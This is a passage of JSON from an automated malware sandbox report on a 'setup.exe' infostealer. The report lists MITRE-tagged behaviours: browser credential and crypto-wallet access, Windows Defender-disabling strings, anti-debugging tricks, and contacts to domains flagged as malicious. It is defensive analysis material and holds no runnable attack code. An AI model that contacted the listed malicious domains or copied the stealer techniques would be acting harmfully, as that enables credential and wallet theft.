\"RegOpenKeyExW\" in \"00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\"\n Found registry query API: \"RegEnumKeyExW\" in \"00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$4b","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"setup.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00006612)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00006612)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$4c","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"setup.exe\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; File: \"setup.exe\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"setup.exe\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"setup.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"setup.exe\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"setup.exe\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"setup.exe\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"setup.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"setup.exe\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"setup.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieves the class object from a DLL object handler (API string)","description":"Found reference to API \"DllGetClassObject\" (Indicator: \"DllGetClassObject\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-82","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"ping 0,\" (Indicator: \"ping\"; Source: \"00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00006612.00000001.214679.08000000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Reads system-defined device setup information from registry","description":"\"setup.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0002\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"System Security","name":"Able to access control system service controller","description":"Found string \"System.ServiceProcess.ServiceController\" (Source: \"00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-936","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00006612)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"Found string \"\\Device\\HarddiskVolume2\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll\" (Indicator: \"\\Device\\\"; Source: \"00000000-00006612.00000000.212757.B9850000.00000004.mdmp, 00000000-00006612.00000001.214679.B9850000.00000004.mdmp, 00000000-00006612.00000002.216597.B9850000.00000004.mdmp\")\n Found string \"o C:\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00006612.00000000.212757.B9F40000.00000002.mdmp, 00000000-00006612.00000001.214679.B9F40000.00000002.mdmp, 00000000-00006612.00000002.216597.B9F40000.00000002.mdmp\")\n Found string \":\\WINDOWS\\system32\\DRIVERS\" (Indicator: \"system32\\drivers\"; Source: \"00000000-00006612.00000000.212757.D3BE0000.00000004.mdmp, 00000000-00006612.00000001.214679.D3BE0000.00000004.mdmp, 00000000-00006612.00000002.216597.D3BE7000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"setup.exe\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"setup.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")\n Found string \"DisableIOAVProtection\" (Indicator: \"disableioavprotection\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"setup.exe\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"setup.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"setup.exe\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; File: \"setup.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"setup.exe\")\n Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"00000000-00006612.00000001.214679.79E42000.00000002.mdmp, 00000000-00006612.00000001.214679.DDD4A000.00000002.mdmp, 00000000-00006612.00000002.216597.5A3D8000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"setup.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$50","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$51","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Unusual Characteristics","name":"Command line contains PowerShell","description":"Commandline contains PowerShell string \"%WINDIR%\\Sysnative\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -NoLogo -NonI -Command -.......\" in [Source : powershell.exe]","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-510","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Unusual Characteristics","name":"Detected known bank URL artifact","description":"\".getmicrosoftkey.com1&0\" (Source: 00000000-00006612.00000001.214679.D5847000.00000004.mdmp, 00000000-00006612.00000002.216597.D5847000.00000004.mdmp, Indicator: \"key.com\")","origin":"File/Memory","relevance":2,"id":"string-23","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Unusual Characteristics","name":"Input file contains API references not part of its Import Address Table (IAT)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1106","relevance":10,"id":"string-64","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"setup.exe\" was detected as \"VC8 -> Microsoft Corporation\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"\"setup.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE\"; Key: \"INSTALLLANGUAGEFALLBACK\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LANGUAGE GROUPS\"; Key: \"1\")","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"powershell.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 6612)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"setup.exe\" has section name .reloc with entropy \"7.826958314446319\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to query CPU information","description":"cpuid at 00000000-00007752-15883-1908-00FA144A","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":10,"id":"stream-13","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve a module handle","description":"GetModuleHandleA@KERNEL32.dll at 14636-2062-0040A44A\n GetModuleHandleW@KERNEL32.dll at 14636-3652-00422722\n GetModuleHandleA@KERNEL32.dll at 14636-3695-00408DD5\n GetModuleHandleExW@KERNEL32.DLL at 00000000-00007752-15883-55-00FA85AC\n GetModuleHandleW@KERNEL32.DLL at 00000000-00007752-15883-71-00FA1775\n GetModuleHandleW@KERNEL32.DLL at 00000000-00007752-15883-175-00F81C57\n GetModuleHandleExW@KERNEL32.DLL at 00000000-00007752-15883-229-00FA647E\n GetModuleHandleA@KERNEL32.DLL at 00000000-00007752-15883-436-00F8A44A\n GetModuleHandleW@KERNEL32.DLL at 00000000-00007752-15883-2727-00FA2722\n GetModuleHandleA@KERNEL32.DLL at 00000000-00007752-15883-2733-00F88DD5","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":5,"id":"stream-121","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","description":"GetStartupInfoW@KERNEL32.dll at 14636-2955-0042D407\n GetStartupInfoW@KERNEL32.DLL at 00000000-00007752-15883-1936-00FA173F\n GetStartupInfoW@KERNEL32.DLL at 00000000-00007752-15883-2163-00FAD407","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1543","relevance":5,"id":"stream-133","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"Environment Awareness","name":"Retrieves Steam settings information from registry","description":"\"setup.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\VALVE\\STEAM\"; Key: \"\"; Value: \"\")","origin":"Registry Access","mitre_attack_id":"T1518","relevance":1,"id":"registry-219","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"2/27 Antivirus vendors marked sample as malicious (7% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"General","name":"POSTs data to a web server","description":"details too long to display","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"\"setup.exe\" reads file \"C:\\Users\\desktop.ini\"\n \"setup.exe\" reads file \"C:\\Users\\%OSUSER%\\Desktop\\desktop.ini\"","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"Network Related","name":"Employs a browser-related User Agent without launching browser","description":"Found User Agent(s): Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 172.67.174.88 on port 443 is sent without HTTP header\n TCP traffic to 104.21.75.214 on port 443 is sent without HTTP header\n TCP traffic to 172.67.167.151 on port 443 is sent without HTTP header\n TCP traffic to 104.16.9.34 on port 443 is sent without HTTP header\n TCP traffic to 140.82.112.5 on port 443 is sent without HTTP header\n TCP traffic to 104.18.43.187 on port 443 is sent without HTTP header\n TCP traffic to 23.38.161.245 on port 443 is sent without HTTP header\n TCP traffic to 57.150.61.65 on port 443 is sent without HTTP header\n TCP traffic to 172.67.159.182 on port 443 is sent without HTTP header\n TCP traffic to 151.101.192.223 on port 443 is sent without HTTP header\n TCP traffic to 213.188.196.246 on port 443 is sent without HTTP header\n TCP traffic to 150.171.109.185 on port 443 is sent without HTTP header\n TCP traffic to 54.198.84.224 on port 443 is sent without HTTP header\n TCP traffic to 52.85.61.122 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"Pattern Matching","name":"Yara Signature Match - Indicators","description":"YARA signature \"INDICATOR_SUSPICIOUS_Binary_Embedded_Crypto_Wallet_Browser_Extension_IDs\" matched process \"00000000-00007752\" as \"Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs.\" (Author: ditekSHen)\n YARA signature \"INDICATOR_SUSPICIOUS_Binary_Embedded_MFA_Browser_Extension_IDs\" matched process \"00000000-00007752\" as \"Detect binaries embedding considerable number of MFA browser extension IDs.\" (Author: ditekSHen)","origin":"YARA Signature","relevance":9,"id":"yara-553","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rdqndxat.iqc.ps1\" for deletion\n \"powershell.exe\" marked \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_w2yxygoy.5w1.psm1\" for deletion","origin":"API Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_rdqndxat.iqc.ps1\" with delete access\n \"powershell.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\__PSScriptPolicyTest_w2yxygoy.5w1.psm1\" with delete access","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"System Security","name":"Contains ability to terminate a process","description":"TerminateProcess@KERNEL32.DLL at 00000000-00007752-15883-54-00FA8562\n TerminateProcess@KERNEL32.DLL at 00000000-00007752-15883-74-00FA0D2C\n TerminateProcess@KERNEL32.DLL at 00000000-00007752-15883-88-00FA69F4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1489","relevance":1,"id":"stream-88","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"System Security","name":"Detected dllhost.exe process execution","description":"Process \"dllhost.exe\"","origin":"Monitored Target","mitre_attack_id":"T1548.002","relevance":10,"id":"target-499","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$53","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"$54","origin":"Registry Access","mitre_attack_id":"T1005","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"setup.exe\" claimed CRC 9049104 while the actual is CRC 9033144","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"CreateThread\n CreateDirectoryW\n GetVersionExW\n IsDebuggerPresent\n Sleep\n GetModuleFileNameW\n LoadLibraryExW\n GetSystemDirectoryW\n WriteFile\n GetStartupInfoW\n GetProcAddress\n TerminateProcess\n GetModuleHandleA\n GetSystemInfo\n CreateFileW\n VirtualAlloc\n GetFileSize\n CreateProcessW\n FindNextFileW\n GetTickCount\n GetTempPathW\n UnhandledExceptionFilter\n DeleteFileW\n GetCommandLineW\n GetFileSizeEx\n GetCommandLineA\n GetModuleHandleW\n FindFirstFileW\n ExitThread\n GetModuleHandleExW\n GetFileAttributesW\n FindFirstFileExW\n ShellExecuteExW","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"submergejunkie.life\" has been identified as malicious\n Contacted Domain: \"qumarox.icu\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"malicious","category":"Network Related","name":"Contacts multiple hosts","description":"Contacted 14 (or more) hosts in at least 0 different cls.countries","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":9,"id":"network-17","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"malicious","category":"Network Related","name":"Detected multiple DNS responses with a low TTL","description":"\"aka.ms\" with TTL 3\n \"api.github.com\" with TTL 60\n \"azcliprod.blob.core.windows.net\" with TTL 42\n \"grantt.qumarox.icu\" with TTL 300\n \"httpbin.org\" with TTL 3\n \"hub.docker.com\" with TTL 11\n \"jsonplaceholder.typicode.com\" with TTL 300\n \"ootip.submergejunkie.life\" with TTL 300\n \"registry.npmjs.org\" with TTL 300\n \"registry.terraform.io\" with TTL 50\n \"turbine.grandauto.cfd\" with TTL 300\n \"worldtimeapi.org\" with TTL 64","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":3,"id":"network-35","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Checks for files associated with bitcoin mining software","description":"\"setup.exe\" opened file \"%APPDATA%\\WORLDCOIN\"\n \"setup.exe\" opened file \"%APPDATA%\\QUARKCOIN\"","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-46","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Attempts to obtain browser login credentials (file access)","description":"$55","origin":"API Call","mitre_attack_id":"T1555.003","relevance":10,"id":"api-281","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Observed sensitive data harvesting behavior","description":"Identified stealer based malicious activity","origin":"Indicator Combinations","relevance":7,"id":"summary-46","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Crypto currency wallets information (file access)","description":"\"setup.exe\" trying to touch file \"%APPDATA%\\ELECTRUM-BTCP\\WALLETS\"","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-101","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$56","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"}],"sources":[{"report_type":"sandbox","report_id":"69f3e478e8eaee8f500f0b28"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries the display settings of system associated file 